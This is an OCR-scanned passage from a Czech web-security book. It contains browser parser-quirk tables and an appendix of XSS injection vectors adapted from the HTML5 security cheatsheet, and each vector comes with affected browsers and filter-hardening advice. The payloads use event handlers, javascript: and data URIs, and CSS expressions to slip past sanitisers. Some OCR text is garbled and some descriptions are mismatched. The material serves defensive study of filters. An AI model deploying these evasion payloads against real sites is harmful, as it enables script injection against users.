P¥iklad: <img src/=x onerror

=alert (1)>

Znak prfimo predchazejici hodnoté atributu

<img src=x onerror=%znak%alert (1)>

Internet Explorer

7z 6.0.2900.2180 o, 9, 10, 11, 12, 13, 32, 58, 59, 160, 5760, 8192,
e 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200,
c Internet Explorer 8201, 8202, 8203, 8232, 8233, 8239, 12288, 65279
8.0.6001.18702

| 9, 10, 11, 12, 13, 32, 59, 160, 5760, 8192, 8193,
0 Opera 10.01 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201,

g 8202, 8203, 8232, 8233, 8239, 12288, 65279
P 8, 9, 10, 11, 12, 13, 32, 34, 59, 160, 8192, 8193,
@ Firefox 3.0.8 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201,

4 8202, 8203, 8232, 8233, 12288, 65279, 65534
@ Safari 4 528.16 9, 10, 11, 12, 13, 32, 34, 39, 47

Priklad: <img src="x onerror\ufffe=alert (1)>
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Znak oddélujici atributy s neuvozenymi hodnotami

<img src=x%znak%onerror=alert (1)>

Internet Explorer
6.0.2900.2180

'g 9, 10, 12, 13, 32
- Internet Explorer
8.0.6001.18702
O Opera 10.01 9, 10, 12, 13, 32
e
@. Firefox 3.0.8 9, 10, 13, 32
@ Safari 4 528.16 9, 10, 11, 12, 13, 32

Priklad: <img src=x\vonerror=alert (1)>

Znak oddélujici atributy s hodnotami v uvozovkach

<img src="x"%znak%onerror="alert (1)">

Internet Explorer
6.0.2900.2180

@ 0, 9, 10, 11, 12, 13, 32, 47
- Internet Explorer

8.0.6001.18702
O Opera 10.01 9, 10, 12, 13, 32, 34, 39, 47
=
@‘. Firefox 3.0.8 9, 10, 13, 32
@ Safari 4 528.16 9, 10, 11, 12, 13, 32, 34, 39, 47

P¥iklad: <img src="x"'onerror=alert (l)>
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Znak uvnitf nazvu funkce JavaScriptu

<img src=x onerror=ale%$znak%rt (1)>

e

Internet Explorer
6.0.2900.2180

Internet Explorer
8.0.6001.18702

Chrome
2.0.172.8

@9

Safari 4 528.16

P¥iklad: <img src=x onerror=ale\Ort (1)>

Komentare uvnitf tagu

XML komentéare

Internet Explorer
8.0.6001.18702

b <img src=<!-- onerror=alert(l)-->
<img src=<!-- onerror=alert(l)>
0 Opera 10.01
TR <img src=x onerror=alert (1)<!---->>
I@ Firefox 3.0.8 <img src=<!-- onerror=alert (1)-->
4 <img src=<!-- onerror=alert(l)>

C komentéare

Internet Explorer
8.0.6001.18702

<img
<img
<img

<img/**/src=x onerror=alert (1)>

src=x/**/ onerror=alert (1)>
src=x /[**/onerror=alert(l)>
src="x"/**/onerror=alert (1)>

<img src=‘‘/**/onerror=alert (1)>
0 Opera 10.01 <img src=x/**/ onerror=alert(l)>
— iimg/**/frjif/onerror:flirtéli>>
@ | Fiefox308 Cing rems! e fonerrarealert (1)~

<img

src="x"/**/onerror=alert (1)>
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Pouziti entit v hodnoté atributu

Internet Explorer
6.0.2900.2180

Internet Explorer
8.0.6001.18702

O Opera 10.01
o
@. Firefox 3.0.8

<img src="x" onerror="var foo =

'bar&#39;;alert (1)//'">

<img src="x" onerror="var foo =
'bar&#x27; ;alert (1)//'">

<img src="x" onerror="var foo =
'bar&#x27&#x0A;alert (1) //'">

<img src="x" onerror="var foo =
'bar&#x27&#x0Ag=alert (1) //'">

<img src=""onerror=a='b&#x27&#x0Ag=alert (1)//"'>

Znak predchazejici v URI direktivu javascript:

<a href="%znak%javascript:alert(1l)" href="foo">bar</a>

9, 10, 11, 12, 13, 32, 160, 8192, 8193, 8194, 8195,

O Opera 10.01 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8232,
’ 8233, 8239, 8287, 12288
[l )
@. Firefox 3.5.5 8, 9, 10, 13, 32
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
Chrome 2 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27,

28, 29, 30, 31, 32

Znak nasledujici v URI nazev direktivy javascript

<a href="javascript%znak%:alert(l)" href="foo">bar</a>

O Opera 10.01 9, 10, 13

%

@_ Firefox 3.5.5 8, 9, 10, 13, 32

@ Chrome 2 o, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13
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Znak predchazejici nazvu vlastnosti u atributu style

<p style="%znak%color:red">foo</p>

S5, 10, 11, 12, 13, 32, 59, 123, 160, 5760, 6158,
- 6159, 8192, 8193, 8194, 8195, 8196, 8197, 8198,
¥ | Opera10.01 8199, 8200, 8201, 8202, 8232, 8233, 8239, 8287,
12288
e
@ Firefox 3.5.5 8, 9, 10, 12, 13, 32, 59, 123
@ Chrome 2 9, 10, 12, 13, 32, 59

s s

Znak predchazejici hodnoté vlastnosti u atributu style

<p style="%znak%color:red">foo</p>

S5, 10, 11, 12, 13, 32, 59, 123, 160, 5760, 6158,
i 6159, 8192, 8193, 8194, 8195, 8196, 8197, 8198,
0 Opera 10.01 8199, 8200, 8201, 8202, 8232, 8233, 8239, 8287,
12288
P i
I@_ Firefox 3.5.5 9, 10, 12, 13, 32
@ Chrome 2 9, 10, 12, 13, 32

Znak nasledujici po nazvu vlastnosti u atributu style

<p style="color%znak%:red">foo</p>

0 Opera 10.01 9, 10, 11, 12, 13, 32
e )

l@_ Firefox 3.5.5 9, 10, 12, 13, 32
@ Chrome 2 9, 10, 12, 13, 32
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Znak ndsledujici po hodnoté viastnosti u atr. style

<p style="color:red%znak%">foo</p>

ﬂ Opera 10.01 9, 10, 12, 13, 32, 34, 59, 125
—

@_ Firefox 3.5.5 8, 9, 10, 12, 13, 32, 34, 59

@ Chrome 2 9, 10, 12, 13, 32, 34, 59, 123, 125

@import - znak mezi @ a import

<style>@%znak%import 'foo.css'</style>

e

Internet Explorer
8.0.6001.18702

&

Chrome
2.0.172.8

@import - znak mezi @import a uvozenym nazvem

<style>@import%znak%'foo.css'</style>

Internet Explorer
8.0.6001.18702

o, 1, 2, 3, 4, 5, 6, 71, 8, 9, 10, 11, 12, 13, 14,
15 ... 59

Almost the whole ASCII range from 0-60 has the
parser stumble

and produce unusable output

=117

Opera 10.01 9, 10, 12, 13
=
@_ Firefox 3.5.5 9, 10, 12, 13, 32
@‘ Chrome 2 o, 9, 10, 12, 13, 32




Pouziti specialnich znaku 275

o e
Ruzné
<img onerror=alert (1) >
@ Internet Explorer jlmq = /**/O“efrorzalert (>
img src=< onerror=alert (1l)>
C 8.0.6001.18702 <img src=< onerror=alert (1) \n<>
<img src="foo\\\\\\\\\\\"onerror=alert(1)//" />
<img src=http://www.foo.com/ onerror=alert(l)//>
<img src=" "="" onerror=alert(l)//">
<a href="&#x0C;javascript:alert (1) ">foo</a>
£ <img sr. onerror=alert (1) >
0 Opera 10.01 <im3 src== /**/onerror=alert (1)>
<img src=< onerror=alert (l)>
<img src=< onerror=alert (1) \n<>
<img src="foo\\\\\\\\\\\"onerror=alert (1)//" />
<img src"=" onerror=alert(l)>
<img src'=' onerror=alert(l)>
<img src=< onerror=alert (1)
<img src=< onerror=alert (1)<l
<img src="http://www.foo.com/ onerror=alert(1l)//
<img src='http://www.foo.com/ onerror=alert(l)//
. <img src"foo"bar'http://onerror=alert (1)>
. </p<img src=x onerror=alert(1l)>>
@ Firefox 3.5.5 <img src=http://www.foo.com/ onerror=alert(l)//>
<img src=" "="" onerror=alert(l)//">
'&#x0C; javascript:alert (1) ">foo</a>
onerror=alert(1l)>
/**/onerror=alert (1)>
<img src=< onerror=alert (l)>
<img src=< onerror=alert (1) \n<>
<img src="foo\\\\\\\\\\\"onerror=alert(1)//" />
<img src=http://www.foo.com/ onerror=alert(l)//>
@ Chrome 2 <img src=" "="" onerror=alert(l)//">

<a href="&#x0C;javascript:alert (1) ">foo</a>
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Priloha B

Vektory injekce kodu

Se svolenim Maria Heidericha pfevzato z otevieného projektu:
HTMLS security chetsheet (html5sec.org).

Injekce vyuzivajici moznosti HTMLS

XSS pomoci formaction - vyZaduje uZivatelskou interakei (1)

Ukazka moznosti zneuziti form a formaction k pfevzeti kontroly z mista mimo
formulaf

<form id="test" /><button form="test"
formaction="javascript:alert (1) ">X

Nedovolte uzivateliim vlozit kéd obsahujici atributy "form" a "formaction" ¢i jejich
"zkomolené" tvary. Vyhnéte se atributu "id" u formulafi i u odesilacich tlacitek.

2 2 @ @& e

Opera 10.x
Opera mobile Firefox 4.0

XSS pouzitim formaction - vyZaduje uZivatelskou interakci (2)

Vektor ukazuje moznost pouziti HTMLS5 "formaction" pro form hijacking. Vsimnéte
si, Ze tato varianta nepouziva atributy "id" a "form" pro spojeni tlacitka a formulare.

<form><button formaction="javascript:alert (1)">X

Nedovolte, aby uzivatelé odeslali tagy obsahujici "form" a atribut "formaction" nebo
je transformujte je na fale$né atributy.

C 0 @ @ e

Opera 10.x
Opera mobile Firefox 4.0
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Automatické vyvolani obsluhy fokusu pomoci autofocus

Tento utok pouziva elementu autofocus k vyvolani obsluzné rutiny pro udalost focus -
bez zasahu uzivatele

<input onfocus=write (1) autofocus>

Uzivatelsky vkladany kod by nemél obsahovat atribut "autofocus".

e 0 @ & e
Chrome 4.0 Safari 4.0

Opera 10.x Chrome 5.0
Firefox 4.0 Chrome 6.0

Automatické vyvolani obsluhy udalosti blur pomoci soupeficich autofocusi

V tomto piipadé mame dva HTML elementy, které soupeii o focus - a jeden z nich
vyvola udalost blur, jakmile druhy ziska focus

<input onblur=write(l) autofocus><input autofocus>

Uzivatelsky vkladany kod by nemél obsahovat atribut "autofocus".

e 0 @ & e
Chrome 4.0 Safari 4.0

Chrome 5.0
Firefox 4.0 Chrome 6.0

Vykonani JavaScriptu pomoci atributu poster v elementu <VIDEO>

Opera 10.5+ umoznuje vlozit do atributu poster URL se schématem javascript:

<video poster=javascript:alert (l)//

Ujistéte se, ze v atributu poster jsou vlozeny pouze relativni URIL, URI s http:// a
datova URI se spravnym MIME typem.

e o @ @ e©

Opera 10.x
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Automaticky vykonany JavaScript pomoci onscroll a autofocus

<body onscroll=alert (1) ><br><br><br><br><br><br>...
<br><br><br><br><input autofocus>

<video poster=javascript:alert(l)//

e © @ @ e

Internet Explorer 5.0 Opera 8.x FireFox 1.x Chrome 3.0 Safari 3.0
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4.0
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0
Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0

Sledovani formulafe pomoci atributii onformchange, onforminput a form

o

Pomoci atributll "onforminput” a "onformchange" 1ze monitorovat aktivitu ve
formulafi - a to i dokonce mimo formula¥, pomoci svazani atributem "form" u
elementu BUTTON.
<form id=test onforminput=alert (1)><input></form>
<button form=test onformchange=alert (2)>X

Ujistéte se, ze uzivatel nevlozi HTML kod s atributy form, onformchange a
onforminput. Nedavejte elementu FORM atribut "id".

e o @ @& e

Internet Explorer 5.0 Opera 8.x FireFox 1.x Chrome 3.0 Safari 3
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4 O
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0

Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0

Spusténi JavaScriptu prostiednictvim tagi <VIDEO> a <SOURCE> (1)

Opera 10.5+ a Chrome umoziuji definovat obsluhu udalosti error u tagu <SOURCE>,
pokud je zapouzdien v prvku <VIDEO>. Uvedené plati i pro tag <AUDIO>.

<video><source onerror="javascript:alert(l)">
Ujistéte se, Ze neni povoleno vkladat tagy <SOURCE>. Pokud je pouziti téchto tagti
vyzadovano, mély by byt whitelistem povoleny jen nezbytné prvky uzivatelského
rozhrani.

e o @ @ e

Internet Explorer 5.0 Opera 8.x FireFox 1.x Chrome 3.0 Safari 3
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4 O
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0

Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0
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Spusténi JavaScriptu prostiednictvim tagi <VIDEO> a <SOURCE> (2)

Firefox 3.5+ umoziiuje definovat obsluhu udalosti error v tagu <VIDEO>, pokud je
aplikovan spole¢né s tagem <SOURCE>. Uvedené plati i pro tag <AUDIO>.

<video onerror="javascript:alert (1) "><source>

Ujistéte se, Ze vlozené tagy <AUDIO> a <VIDEO> nemohou obsahovat ovladace
udalosti nebo jen ty, které jsou uvedeny ve whitelistu, protoze jsou nezbytné pro
prvku uzivatelského rozhrani.

e o @ @ e©

FireFox 3.x
Firefox 4.0
Internet Explorer 9.0

Pasivni JavaScript spustény skrz <BODY> a atribut oninput

Vsechny prohlizec¢e kromé Internet Exploreru podporuji zpracovani udalosti "oninput"
u formulafovych prvkd, jako napiiklad uvedeny <input>. Udalost pracuje se
samotnymi prvky formulafe, mimo formulaf, ale také v tagu <BODY> nebo <HTML>

<body oninput=alert (l)><input autofocus>

Zajistéte aby atribut "oninput" nebyl uveden ve whitelistu pro uzivatelské vstupy.

e D @ @& o

Opera 9.x Chrome 4.0 Safari 4.0
Opera 10.x FireFox 3.x Chrome 5.0
Opera mobile Firefox 4.0 Chrome 6.0

XSS pouzitim formaction - vyZaduje uZivatelskou interakei (2)

Vektor ukazuje moznost pouziti HTMLS "formaction" pro form hijacking. V§imnéte
si, ze tato varianta nepouziva atributy "id" a "form" pro spojeni tlacitka a formulafe.

<form><button formaction="javascript:alert(l)">X

Nedovolte, aby uzivatelé odeslali tagy obsahujici "form" a atribut "formaction" nebo
je transformujte je na falesné atributy.

e D @ @ o

Opera 10.x
Opera mobile Firefox 4.0
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Injekce fungujici v HTML4 a starSich

Vykonani JavaScriptu pomoci FRAMESET a onload

Vektor ukazuje moznost pouziti HTMLS5 "formaction" pro form hijacking. V§imnéte
si, Ze tato varianta nepouziva atributy "id" a "form" pro spojeni tlacitka a formulate.

<frameset onload=alert(1l)>

Pro jistotu filtrujte uzivatelsky vlozené HTML whitelistem - prastaré tagy jako
FRAMESET mohou byt pifi bézném filtrovani opomenuty

e 0 @ @ o

Internet Explorer 5.0 Opera 8.x FireFox 1.x Chrome 3.0 Safari 3.0
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4.0
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0
Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0

Vykonani JavaScriptu pomoci TABLE a background

Opera 8-10.5+, stejné jako IE6, podporuji JS URI pro atribut "background" u tagi
jako TABLE. Skript se tak spusti bez zasahu uzivatele.

<table background="javascript:alert (1) ">

Pokud uz filtrujete "z1¢" atributy jako obsluhu udalosti z uzivatelsky zadaného HTML,
nezapomeiite na "background" - mezi jinymi.

e 0O @ & @
Opera 8.x
Internet Explorer 6.0 Opera 9.x
Opera 10.x

Opera mobile
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Problém s parsovanim HTML komentai (1)

Tento piiklad ukazuje, jak jsou parsovany komentafe a jaké problémy mohou nastat,
kdyz uzivatel smi vlozit HTML, které obsahuje komentate

<!--<img src="--><img src=x onerror=alert(l)//">

Vyhod'te komentafe z vlozeného kdodu a kontrolujte nebezpe¢nost vzdy az po tomto
vyhozeni, ne pfed nim.

e D @ @ o

Internet Explorer 5.0 Opera 8.X FireFox 1.x Chrome 3.0 Safari 3.0
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4.0
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0
Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0

v o

Problém s parsovanim HTML komentaii (2)

Kromg <!---> umoziuje IE zapsat komentafe i do tagu <comment>. VySe zminény
ptiklad déla totéz do piiklad 1

<comment><img src="</comment>
<img src=x onerror=alert(l))//">

Vyhodte <COMMENT> z vlozeného kodu a kontrolujte nebezpeénost vzdy az po
tomto vyhozeni, ne pted nim.

© 2 @ @& e

Internet Explorer 5.0
Internet Explorer 6.0
Internet Explorer 7.0
Internet Explorer 8.0
Internet Explorer 9.0

Zmateni zapisu pomoci tagi v prostych znacich

Funguje ve vSech prohlize¢ic a ukazuji, jak snadno lze oklamat Spatné napsany filtr,
ktery povazuje obsluhu chyby za regulerni ¢ast atributu "src" u prvniho img

<style><img src="</style><img src=x onerror=alert (l)//">

Nespoléhejte se pfi psani filrtu na prosté regularni vyrazy. Pouzijte whitelist pro
dovolené tagy zkuste filtry, zalozené na dobfe testovaném tokenizeru/parseru

e oD @ @ o

Internet Explorer 5.0 Opera 8.x FireFox 1.x Chrome 3.0 Safari 3.0
Internet Explorer 6.0 Opera 9.x FireFox 2.x Chrome 4.0 Safari 4.0
Internet Explorer 7.0 Opera 10.x FireFox 3.x Chrome 5.0
Internet Explorer 8.0 Opera mobile Firefox 4.0 Chrome 6.0

Internet Explorer 9.0
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Problém s parsovanim CDATA

Firefox a Opera umoziuji oddélovace sekce CDATA v HTML - ve zkracené formée
"<I[" stejné jako v té plné "<![CDATA[" MizZe to zpusobit fadu problému u filtrd,
pokud budou pouzityt jako masivni obfuskace.

<![><img src="]><img src=x onerror=alert(l)//">

Zakazte CDATA delimitery a kontrolujte vstup az po odstranéni téchto delimitert

e 0 @ @ o

Opera 8.x FireFox 1.x

Opera 9.x FireFox 2.x

Opera 10.x FireFox 3.x
Opera mobile

Udalost error p¥i prazdném list-style a udalost load p¥i prazdném content

Opera 10.5+ a starsi verze spusti udalost error pro tag <LI> v pfipad¢, Ze neni mozné
pomoci atrinutu stylu nadist background URL. Stejné se chova i "list-style-image”. V
Opefe 10.10 a starSich verzich funguji stejné¢ dobfe i jiné kombinace styli jako
napfiklad background:url() nebo background-image:url(). Funguje také kompinace
jako content:url(svg).
<li style=list-style:url() onerror=alert(l)>
<div style=content:url (data:image/svg+xml,$3Csvg/%3E) ;
visibility:hidden onload=alert (1)></div>

e 0 @ & e
Opera 8.x
Opera 9.x
Opera 10.x

Opera mobile

Spusténi JavaScriptu tagem <SCRIPT> s atributy FOR a EVENT

Opera a Internet Explorer umoziuji pouziti tagu <SCRIPT> spole¢né s atributy "for" a
"event", které navazi obsluhu udalosti na specifické HTML elementy. Tyto dva
atributy mohou spustit kod bez zasahu uzivatele.
<SCRIPT FOR=document
EVENT=onreadystatechange>alert (1) </SCRIPT>

e 0O @ & @
Internet Explorer 6.0
Internet Explorer 7.0 Opera 10.x

Internet Explorer 8.0 Opera mobile
Internet Explorer 9.0
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Hijacking odkazu skrz tag <BASE> a JavaScript URI

Hijacking odkazu v tagu <BASE> s JavaScriptovymi URI pracuje v Internet
Exploreru, Opete (O8-10.5 v ptipad¢, ze URL odkazu zac¢ina na #) a v Safari. Ke
spusténi kodu je vyzadovana spoluticast uzivatele. Navic je pro spravnou funkci v
jednotlivych prohlizecich potfeba pouzit mirné upraveny zapis.

<head><base href="javascript://"></head><body>

<a href="/./,alert (1) //#">XXX</a></body>

HTML vkladané uzivatelem by nemélo mit povoleno pouziti tagu <BASE>. V
ptipade¢, Ze je jeho pouziti nezbytné nutné, méla by se zkontrolovat hodnota odkazu,
ktera by méla byt bud'to relativni nebo by méla za¢inat na http://

e o @ @&

Internet Explorer 5.5 Opera 8.x Safari 3.0
Internet Explorer 6.0 Opera 9.X Safari 4.0
Internet Explorer 7.0 Opera 10.x

Opera mobile

Internet Explorer 9.0

Spusténi JavaScriptu skrz <OBJECT> s parametrem DataURL

Internet Explorer 9 a v nékterych situacich i star$i verze podporuji uziti direktivy
javascript: v URI v atributu "dataurl" TDC objektu. JavaScript se v tomto piipadé
vykona bez spoluprace uzivatele.
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-
0080C7055A83"><PARAM NAME="DataURL"
VALUE="javascript:alert (1) "></OBJECT>

e 0 @ & @
Internet Explorer 6.0
Internet Explorer 7.0

Internet Explorer 8.0
Internet Explorer 9.0

Spusténi JavaScriptu pouzitim atributu DATA tagu <OBJECT>

~ xo

Vétsina webovych prohlize¢t umoziuje spusténi JavaScriptu pouzitim direktivy
javascript: v atributu "data" tagu <OBJECT>. Samotny JavaScript pfitom muze byt
zakodovan do base64.
<object data="data:text/html;base64,
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg==">

Ujistéte se, ze uzivatelem vlozené HTML nema povoleno vkladat tagy <OBJECT>.
Pokud pfeci jen ano, mély by hodnoty atibutu "data" projit kontrolou proti whitelistu.

e 0 @ @ o

Opera 8.x FireFox 1.x Chrome 3.0
Opera 9.x FireFox 2.x Chrome 4.0 Safari 4.0
Opera 10.x FireFox 3.x Chrome 5.0

Opera mobile Firefox 4.0 Chrome 6.0
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Spusténi JavaScriptu pouzitim atributu SRC tagu <EMBED>

Vétsina webovych prohlize¢l umoziuje spusténi JavaScriptu pouzitim direktivy
javascript: v atributu "data" tagu <OBJECT>. Samotny JavaScript pfitom mutize byt
zakodovan do base64. Pouze Firefox pokousi se hledat plugin a selze
<embed src="data:text/html;base64,
PHNJjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg==">

Ujistéte se, ze uzivatelem vlozené HTML nema povoleno vkladat tagy <EMBED>.
Pokud pieci jen ano, mély by hodnoty atibutu "src" projit kontrolou proti whitelistu.

e o @ @ o

Opera 8.x Chrome 3.0
Opera 9.x Chrome 4.0 Safari 4.0
Opera 10.x Chrome 5.0

Opera mobile Chrome 6.0

Tagy vloZené do jinych tagii pro oklamani bezpe¢nostnich filtri

Chrome, Firefox a Safari spusti JavaScript z pfikladu, zatimco IE a Opera ne.

<b <script>alert (1)</script>0

Tento vektor je idealni k oklamani HTML filtrti zaloZzenych na regularnich vyrazech.
Ujistéte se, ze vase bezpecnostni filtry pocitaji se skutecnosti, ze nékteré webové
prohlize¢e vyhodnoti kod <b <script> jako <b> <script>.

@ 0 @ & ©
Safari 3.0
Chrome 4.0 Safari 4.0

FireFox 3.x Chrome 5.0 Safari 5.0

Simulace atributi v IE

Tento vektor pfedstira v IE vlozeni atributu uzitim apostrofii. Pouziva se pro oklamani
bezpecnostnich filtri.

<x '="foo"><x foo='><img src=x onerror=alert(l)//'>

— %
e 0O @ @ e

Internet Explorer 5.0

Internet Explorer 6.0

Internet Explorer 7.0

Internet Explorer 8.0

Internet Explorer 9.0
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XSS uzitim znaku accent grave béhem kopirovani innerHTML (1)

Internet Explorer vnima znak accent grave () stejné jako apostrof ' nebo uvozovky ",
¢ili jako oddélovac. V ptipadé, ze neobsahuji vloZzenou hodnotu, budou pii pouziti
vlastnosti innerHTML vypustény.
<div id="divl"><input value="'onmouseover=alert (1)">
</div> <div id="div2"></div>

<script>document.getElementById("div2") .innerHTML =

document.getElementById ("divl") .innerHTML;</script>
Ujistéte se, ze va§ HTML filter si je védom skute¢nosti, ze IE vnima znak accent
grave () jako oddélovac - zvlasté pokud maji uzivatelé povoleno psat neskodné
JavaScripty (JSReg, Google Caja). Bud'te také velmi opatrni pfi manipulaci s objekty
DOM, jejichz HTML koéd je generovany ze strany uzivateldl. Vlastnost innerHTML
nemusi vzdy obsahovat ptivodni kod.

e 0O @ @ e
Internet Explorer 6.0

Internet Explorer 7.0
Internet Explorer 8.0

Spusténi JavaScriptu prostiednictvim atributu src

Mnoho webovych prohlize¢i umoziuje spusténi JavaScriptu prostiednictvim atributu
"src" u tagu <IFRAME>, coz je oéeknané chovani. Zajimavé ovsem je, Ze mize byt
tohoto zptisobu pouzito také u jinych tagu. Opera 10, Chrome a Firefox spusti
JavaScript v tagu <EMBED>. Opera 10 a Opera Mobile spusti JavaScript v atributu
"src" také u tagh <SCRIPT>, <IMG> a <IMAGE> stejn¢ jako starsi verze Internet
Exploreru.

<embed src="javascript:alert(l)">

<img src="javascript:alert(1l)">
<image src="javascript:alert(l)">
<script src="javascript:alert (1)">

V ramci prevence pied XSS se ujistéte, ze neni mozné u atributii "src" vlozit URL
pouzivajici jiny protokol nez HTTP://
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Spusténi JavaScriptu skrz IE filtr a onfilterchange

Jak ukazuje priklad, je nékdy mozné spustit udalost filterchange pomoci pouze
jednoho filtru. také je pouzit kratky zapis filtru, ktery je podporovan vSemi verzemi
IE. V rezimu kompatibility pro IE8 + muiiZete pouzit vlastnost "-ms-filter".
<div style=width:1lpx;filter:glow
onfilterchange=alert (1)>x
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JavaScript s vyuZzitim tagu <OBJECT> a Flashového souboru

Tagy <OBJECT> naditajici pfimo Flashové soubory v atributu "data" umoziuji
spusténi JavaScriptu bez uzivatelské interakce.

<object data="test.swf"></object>

o,

Ujistéte se, ze uzivatelé nemohou ovliviiovat hodnoty atributi "src" a "data" tagh
<OBJECT>, nebo jeste Iépe, Ze nejsou tagy <OBJECT> viibec povoleny whitelistem.
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XSS pouzitim atributu "xmins" ve vlastnim tagu p¥i kopirovani innerHTML

Internet Explorer nespravné analyzuje atribut "xmlns" ve vlastnich tagach béhem
kopirovani innerHTML. Jeho hodnota je bez oddélovace ptidana k tagu
<?XML:NAMESPACE>.
<div id=d><x xmlns="><iframe onload=alert (1)"></div>
<script>d.innerHTML=d.innerHTML</script>

Bud'te velmi opatrni pii pozd€jsi manipulaci v DOM s uzivatelskémi vstupy.
Vlastnost innerHTML nemusi vzdy obsahovat ptivodni data.
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Vynuceni prostého textu nevyvaZzenymi uvozovacimi znaky v Internet Exploreru

Internet explorer zachazi s tagy, u nichz nejsou vyvazeny oddélovace atributi, jako s
prostym textem. V tomto piipad¢ je nevyvazeni zptisobeno pomoci * . U
nevyvazenych uvozovacich znaki uvniti nebo vné atributii, je mozné pouzit uvnitt
atributu i HTML. Jeho obsah bude po té vykonan jako pravé HTML. Problém byl
nahla$en a v nové&jsich verzich Internet Exploreru by se méla objevit oprava.

<img src="x' ‘<script>alert(l)</script>"" ‘>
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Safary a zamlZené atributy pomoci lomitek a uvozovacich znaki

Safari akceptuje lomitka a uvozovaci znaky (pokud jsou pfedchazeny bilymi znaky
nebo jinymi uvozujicimi znaky) mezi nazvem atributu a rovnitkem (name/"'=value).
To pfidava zajimavé moznosti, kterymi lze zkreslit fetézce HTML, zmast
bezpecnostni filtry a predstirat atributy jako v uvedeném piikladu.

<img src onerror /" '"= alt=alert(l)//">

e 0O @ & o
Safari 4.0
Safari 5.0

Spusténi JavaScriptu skrz tag <TITLE> v Internet Exploreru 9

Internet Explorer 9 umoziuje spustit kod JavaScriptu skrz obsluhu udalosti
onpropertychange v tagu <TITLE>, pokud je nasledovan jinym tagem <TITLE> s
alespon jednim platnym atributem.

<title onpropertychange=alert (1)></title><title title=>
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Internet Explorer 9.0
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Problémy s parsovanim parametri v Internet Exploreru

Internet Explorer zpracovava sekvence uvozujicich znaku v parametru bez oddélovact
nasledujicich za rovnitkem jako za¢atek nového parametru.

<a href=http://foo.bar/#x="y></a><img alt="">
<img src=x:xX onerror=alert (l)></a>">
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Injekce zalozena na CSS

Vykonani skriptu z CSS pomoci link-source v Opeie

Opera umoziuje nastavit link source pro nékteré HTML elementy. Mizou tak
vyvpolat potiebnou akci po kliknuti
<div style="-o-link:'javascript:alert(l)';-o-1link-
source:current">X
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Vykonani JavaScriptu pomoci href atributu u LINK a data URI

Podle existujici dokumentace k IE8 jsou datova URI podporovana nejen pro zobrazeni
obrazkd, ale i pro stylopis. To miZze byt zneuzito pro vlozeni expression() do datového
URI a k vykonani skriptu v tagu LINK.
<link rel=stylesheet
href=data:, *$7bx:expression (write (1)) %7d

Ujistéte se, ze URI pro stylopis nemlze uzivatel ovlivnit, a uzivatelem zadané tagy
LINK nezobrazujte bez kontroly a filtrovani.
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Vykonani JavaScriptu pomoci @import a data URI

Podle existujici dokumentace k IE8 jsou datova URI podporovana nejen pro zobrazeni
obrazk, ale i pro stylopis. To miZze byt zneuzito pro vlozeni expression() do datového
URI a k vykonani skriptu ve stylopisu pomoci @import.
<style>@import
"data:, *$7bx:expression (write (1))%7D";</style>

Ujistéte se, ze URI pro stylopis nemuize uzivatel ovlivnit, a Ze pfipadné uzivatelem
zadané styly neobsahuji @import.
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Prolomeni pointer-events:none vloZenymi odkazy

Firefox 3.6+ umoziuje pouzit CSS vlastnost "pointer-events" s hodnotou "none" k
tomu, aby element nereagoval na udalosti vyvolané mysi nebo kurzorem. Tato funkce
umoziuje napt. piekryt DIVem jiny DIV, aniz by pfekryvajici blokoval udalosti,
adresované piekrytému.

<a style="pointer-events:none;position:absolute;">

<a style="position:absolute;"
onclick="alert (1) ;">XXX</a></a>
<a href="javascript:alert (2) ">XXX</a>

Toto nastaveni je prolomeno, pokud je pouZito spolu s elementem <A>, ve kterém je
vlozeny jiny <A>. Element <A> by nemél byt takto pouzivan viibec - 0bzvlast ne v
piipadech, kdy mtize obsahovat uzivatelsky vlozené HTML.
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Opera - XSS zaloZené na @import uvniti selektori atributu

Opera 10 a nové&jsi verze véetné nejnovejsi 10.5 umoziiuji vyskocit ze sektoru atributu
pouzitim {} a nasledné pouziti deklarace @import. MIME typ importovaného souboru
neni rozhodujici, stejné jako jeho umisténi v libovolné doméné. Importovany soubor
muze obsahovat CSS kod, ktery pfipoji odkaz na javascript: ke vSem prvku na strance.
To mize vést ke spusténi skritpu po kliknuti na tyto prvky.
<style>*[{}@import'test.css?]</style>X

* {-o-link:'javascript:alert(l)';-o-link-source:
current; }
Ujistéte se, ze v uzivatelském CSS je obsah atributii vhodné escapovan pouzitim
zpétného lomitka. Také prekontrolujte pouziti konstrukci vlastnost:hodnota vramei
whitelistu a zabrarite pouZiti nebezpeénych vlastnosti, jako jsou -0-link a -o-link-
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Preruseni textového Fetézce v CSS

Opera, Firefox a ostatni webové prohlize¢e umozni pferuseni textového fetézce v css
pouzitim symbolu pro novy fadek. V CSS2+ nemohou fetézce obsahovat vlozeny
pfechod na novy fadek pfimym zapisem.

